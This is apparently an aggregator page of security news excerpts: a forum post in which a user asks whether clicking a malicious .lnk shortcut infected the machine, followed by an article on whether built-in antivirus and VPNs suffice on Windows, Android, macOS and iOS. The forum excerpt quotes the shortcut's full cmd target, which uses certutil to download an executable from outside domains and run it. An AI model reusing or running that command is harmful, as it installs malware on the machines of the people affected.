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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer

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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

The best antivirus software - Chicago Tribune

The best antivirus software - Chicago Tribune


The best antivirus software - Chicago Tribune

Posted: 06 May 2020 07:30 AM PDT

If you've ever opened a malicious link by mistake or had your identity stolen, you know the value of good antivirus software. Whether you own a PC or Mac, everyone needs to be sheltered from incoming viruses, malware, and spyware, but some antivirus suites go the extra mile by providing file backup services and password encryption.

Do You Really Need to Buy an Antivirus App or a VPN Anymore? - PCMag.com

Posted: 29 Apr 2020 07:14 AM PDT

Rich people don't get rich by wasting money. So why spend money purchasing antivirus protection for your devices? Is that a waste of money? Overall, the answer is no, it's money well spent. Depending on your operating system, adding antivirus protection beyond what's built in ranges from a good idea to an absolute necessity.

Windows, macOS, Android, and iOS all include protection against malware, in one way or another. For some, protection takes the form of a full-on antivirus. For others, security is baked into the OS thoroughly enough that malware has a really hard time doing anything. Either way, you can improve your protection by installing a third-party antivirus.

Plan B: The Windows Defender Story

Microsoft has offered some variety of built-in antivirus protection for Windows since the release of Microsoft Anti-Virus for DOS in 1993. The core of that product was purchased by Symantec and became the original Norton Antivirus. And wow, was it ever simple-minded. At release, it could detect around 1,200 specific viruses, and users had to install any updates manually.

Fast-forward to today, and you get Windows Defender, a rather more impressive product. Oh, it went through some rough stages developmentally. When the independent testing labs started including Windows Defender, it managed to score below zero in some tests. But that was years ago, and this tool has been steadily improving its scores.

It's now called Microsoft Windows Defender Security Center, because in addition to providing antivirus protection it also manages other security features such as Windows Firewall. In our testing, however, we discovered some significant limitations. For example, it scored poorly in our hands-on phishing protection test, which uses real-world fraudulent sites scraped from the web. In any case, its phishing protection and its defense against malware-hosting sites both only work in Microsoft browsers. Do you prefer Chrome? Firefox? Sorry, you get no protection.

Microsoft recently added a kind of ransomware protection, in the form of a component that prevents unauthorized changes to files in the Desktop, Documents, Pictures, Videos, Music, and Favorites folders. It's turned off by default, perhaps with reason; we found it annoying that ransomware protection kicked in every time an installer wanted to place an icon on the desktop. In addition, you can't authorize a program from the popup warning the way you can with the similar feature in Bitdefender Antivirus Plus, Trend Micro, and others. Rather, you must dig into Settings to add an exclusion.


Windows Defender Ransomware Protection

Windows Defender's own developers seem to consider it a Plan B, rather than a main solution. If you install a third-party antivirus, Windows Defender goes dormant, so as not to interfere. If you remove third-party protection, it revives and takes up the job of defense again. The best antivirus programs, even free antivirus tools, perform significantly better in testing and offer more features.

Google Play Protect Doesn't

Google immediately removes any malware that it finds in the Google Play Store, but the key word here is removes. The Play Store doesn't have the same stringent vetting process that comes with Apple's App Store. Malware does get into the store, and you may well download it before Google cleans up. In addition, it's easy enough to set your Android to allow sideloading programs independently of the Play Store.

Google Play Protect, the antivirus built into Android, aims to protect your devices from malware. As far as the independent testing labs have found, it does a terrible job.

Experts at AV-Comparatives tested Google Play Protect along with 10 third-party android antivirus tools. They collected thousands of unique Android malware samples and tested each antivirus against that collection. They first let the antivirus scan and eliminate samples it recognized, and then launched any that remained, to give behavior-based detection a chance. They also installed 500 popular (and legitimate) apps to check that the antivirus doesn't wrongly tag them as malicious.

Trend Micro Maximum Security caught 100 percent of the samples, and eight others managed 99.9 percent. Play Protect trailed the pack with 83.2 percent protection. Nine third-party products exhibited zero false positives, and another one had just two. As for Play Protect, it identified 28 valid programs as malware. All the tested antivirus products received the lab's seal of approval. All, that is, except Play Protect.

In their reports on Windows, macOS, and Android antivirus products, researchers at AV-Test Institute assign a product up to six points each for Protection, Performance, and Usability. That last one means the product doesn't freak out the user by falsely accusing valid apps. Three quarters of the other products earned 17 points or better in total, and all but one took the full six points for protection (the outlier earned 5.5 points). Play Protect both missed blocking malware and actively interfered with valid programs, getting zero for Protection and Usability. Six points for not slowing performance doesn't mean much when the product doesn't do its job.

The verdict is clear: Play Protect won't protect you. You need a third-party antivirus on your Android devices. We've rounded up some favorite Android antivirus tools, looking specifically at solutions that support multiple platforms.

Security Baked Into macOS

Sideloading (installing apps from outside the operating system's store) is common in Android. We've even seen security tools that must be installed this way. Apple is much more insistent that only App Store apps can be trusted. By default, if it's not from the App Store you just can't install it. Yes, you can override that setting, but you really shouldn't.

For another level of protection, a component called Gatekeeper checks every app you install for malware. Starting in macOS Catalina, Gatekeeper checks apps on every launch, not just at install time, and examines non-malicious apps for security issues. Catalina also makes apps get permission before they can access critical areas. And with Catalina, the operating system resides on a read-only drive partition, separate from all other programs.

To infect another program, a virus needs to modify that program, something that's not allowed in macOS. To steal private data, a banking Trojan needs to read memory belonging to your browser, which is likewise not allowed. In the macOS environment, apps are isolated, able to access only their own resources. And even if an app managed to break through this barrier and access another program's memory, features like ASLR (Address Space Layout Randomization) mean it couldn't do much with that access.

Many manufacturers make PCs, but only Apple makes Macs. The company has full control over the hardware, including the T2 chip present in many newer Macs. This chip creates what's called a Secure Enclave, an area of memory that's completely unavailable to any process not part of macOS. It also manages Touch ID, encrypted storage, and more.

Despite all these safeguards, macOS malware exists. In fact, one recent report by Malwarebytes identifies a higher infection rate for Macs than for Windows boxes. Last year, an attack dubbed CrescentCore weaseled its way past Gatekeeper by coopting a certificate that Apple assigned to another developer.

While Macs aren't as vulnerable as Windows boxes or Android devices, the old saw that Macs don't get malware is demonstrably untrue. And unlike Windows, macOS doesn't include an antivirus utility as such. If you don't have antivirus protection on your Macs, look into getting it.

What's Tighter Than macOS? iOS!

Apple has been developing operating systems since the 80s, plenty of time to make (and learn from) a lot of mistakes. By the time the developers started on iOS, they had learned a ton about what makes for a secure operating system. And release after release, iOS gets still more secure.

So secure, in fact, that it's not really possible to create an antivirus to run on iOS. The Malwarebytes report mentioned above notes, "On the iOS side, malware exists, but there's no way to scan for it." It goes on to point out that this iOS malware consists mostly of nation-state efforts, not the kind of thing your average user need worry about. Unless you're an average Chinese Uighur.

Last year saw the release of checkm8, a technique that allowed a partial jailbreak of any iPhone, from the iPhone 4s to the iPhone X. Sounds bad, doesn't it? However, implementing checkm8 requires full access to the phone, which must be physically connected to a PC or Mac. It doesn't enable opening a locked phone. And its effect vanishes when the phone reboots. It's a nice tool for researchers, but not an actual threat.

Don't look for a roundup of iOS antivirus products—we don't have one. If all you ever use are iOS (and iPadOS) devices, you really don't need antivirus. You'll still want to use an iPhone VPN in some situations, however. Speaking of VPNs...

What About My Phone's Built-In VPN? 

We've had readers ask why they can't just use the free VPN built into their iPhones. Indeed, there's a VPN configuration page in Settings, but you can't use it without going through the complex process of manually setting up a VPN profile. The most important element of that profile is the VPN server you want to connect with. And to gain access to that server, you'll need to pay for a subscription. Which comes with an app. So just use NordVPN, or whatever app suits you best! The same is true on Android devices.


Apparent VPN in iOS

When you do have a VPN installed, it shows up in Settings, in the same section that holds Wi-Fi and Bluetooth. We were surprised to find this item present on a test iPhone, when we hadn't installed a VPN. It turns out that a Dashlane update automatically installed a simple VPN. But even then, the Settings page advised performing all configuration through the Dashlane app. Sorry, your phone just doesn't have a VPN client built in.

Protect Your Devices

If you're using a Windows computer or an Android device, you should most definitely install a third-party antivirus utility. Windows Defender is getting better, but it's not up to the best competitors, even the best free ones. And Google Play Protect is ineffective.

Mac users need protection too. One study showed that last year Macs got infected at a higher rate than PCs. That could well be due to the Mac's long-standing reputation for resisting malware. As for iOS, Apple got it right, right from the start. These platforms have security built in such that it's nearly impossible for an attack to succeed (nearly, but not completely). That protection also means it's nearly impossible to write an iOS antivirus. Use the time and money you saved not installing iOS protection to triple-check all your other devices.

For advice on getting started securing your devices, please read How to Check Your Security Software, Settings, and Status

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